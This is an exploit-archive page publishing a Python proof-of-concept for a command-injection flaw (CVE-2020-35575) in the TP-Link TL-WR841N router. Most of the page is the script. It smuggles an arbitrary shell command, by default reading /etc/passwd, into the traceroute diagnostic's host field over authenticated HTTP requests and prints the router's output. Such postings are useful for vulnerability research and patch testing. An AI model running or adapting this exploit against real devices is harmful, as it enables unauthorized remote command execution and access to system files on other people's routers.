

TP-Link TL-WR841N Command Injection

Authored by Koh You Liang

Posted Jun 24, 2021

TP-Link TL-WR841N suffers from a remote command injection vulnerability.

tags | exploit, remote

advisories | CVE-2020-35575

SHA-256 | f38c375883294d89e59cdd181a489ae666b47d231d5e8deee6d2920dbda52144 Download | Favorite | View

Related Files

Share This

Like

Twit

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

```
# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35575

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default 'cat etc/passwd'")
        payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
    'Authorization': 'Basic YWRtaW46VWRtaW4='
}

headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
    'Accept': '*//*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\nntimeout=50\r\nnumberOfTries=1\r\nhost=""{}
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1,
verify=False)
print('[*] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[*] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0#0,0,0,0,0,0]0,3\r\nndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2,
verify=False)
print('[*] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0#0,0,0,0,0,0]0,3\r\nndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3,
verify=False)

if '=' in response3.text.splitlines()[3]:
    print('[*] Command not supported.')
else:
    print('[*] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
                if 'not known' in line:
                    break
        except IndexError:
            break
```

Login or Register to add favorites

Search ...



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed